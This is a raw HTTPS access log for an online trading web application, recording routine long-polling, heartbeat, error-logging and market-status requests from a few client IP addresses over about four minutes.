[09/Jan/2026:12:33:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933457822 HTTP/1.1" -
[09/Jan/2026:12:33:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933462982 HTTP/1.1" -
[09/Jan/2026:12:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:33:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933468113 HTTP/1.1" -
[09/Jan/2026:12:33:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:33:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933473165 HTTP/1.1" -
[09/Jan/2026:12:33:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933478301 HTTP/1.1" -
[09/Jan/2026:12:33:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:33:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933483445 HTTP/1.1" -
[09/Jan/2026:12:33:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933488586 HTTP/1.1" -
[09/Jan/2026:12:33:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933493720 HTTP/1.1" -
[09/Jan/2026:12:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:33:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:33:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:33:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933498919 HTTP/1.1" -
[09/Jan/2026:12:33:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933504018 HTTP/1.1" -
[09/Jan/2026:12:34:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933509073 HTTP/1.1" -
[09/Jan/2026:12:34:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:34:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933514280 HTTP/1.1" -
[09/Jan/2026:12:34:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933519421 HTTP/1.1" -
[09/Jan/2026:12:34:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933524619 HTTP/1.1" -
[09/Jan/2026:12:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:34:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:34:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933529764 HTTP/1.1" -
[09/Jan/2026:12:34:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933534823 HTTP/1.1" -
[09/Jan/2026:12:34:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933539893 HTTP/1.1" -
[09/Jan/2026:12:34:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:34:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933545101 HTTP/1.1" -
[09/Jan/2026:12:34:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933550273 HTTP/1.1" -
[09/Jan/2026:12:34:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933555394 HTTP/1.1" -
[09/Jan/2026:12:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:34:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:34:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:34:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933560542 HTTP/1.1" -
[09/Jan/2026:12:34:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933565606 HTTP/1.1" -
[09/Jan/2026:12:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933570752 HTTP/1.1" -
[09/Jan/2026:12:35:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933575874 HTTP/1.1" -
[09/Jan/2026:12:35:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933581020 HTTP/1.1" -
[09/Jan/2026:12:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933586154 HTTP/1.1" -
[09/Jan/2026:12:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:35:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:35:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933591360 HTTP/1.1" -
[09/Jan/2026:12:35:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933596416 HTTP/1.1" -
[09/Jan/2026:12:35:30 +0800] 121.229.156.78 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:12:35:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:35:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933601532 HTTP/1.1" -
[09/Jan/2026:12:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933606663 HTTP/1.1" -
[09/Jan/2026:12:35:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933611851 HTTP/1.1" -
[09/Jan/2026:12:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:35:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933616997 HTTP/1.1" -
[09/Jan/2026:12:35:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:35:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:35:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933622052 HTTP/1.1" -
[09/Jan/2026:12:35:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933627173 HTTP/1.1" -
[09/Jan/2026:12:36:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:36:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933632379 HTTP/1.1" -
[09/Jan/2026:12:36:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933637585 HTTP/1.1" -
[09/Jan/2026:12:36:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933642742 HTTP/1.1" -
[09/Jan/2026:12:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933647886 HTTP/1.1" -
[09/Jan/2026:12:36:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:36:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933652931 HTTP/1.1" -
[09/Jan/2026:12:36:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933658021 HTTP/1.1" -
[09/Jan/2026:12:36:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:36:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933663150 HTTP/1.1" -
[09/Jan/2026:12:36:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933668354 HTTP/1.1" -
[09/Jan/2026:12:36:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933673494 HTTP/1.1" -
[09/Jan/2026:12:36:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:36:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:36:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933678644 HTTP/1.1" -
[09/Jan/2026:12:36:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:36:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:36:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933683697 HTTP/1.1" -
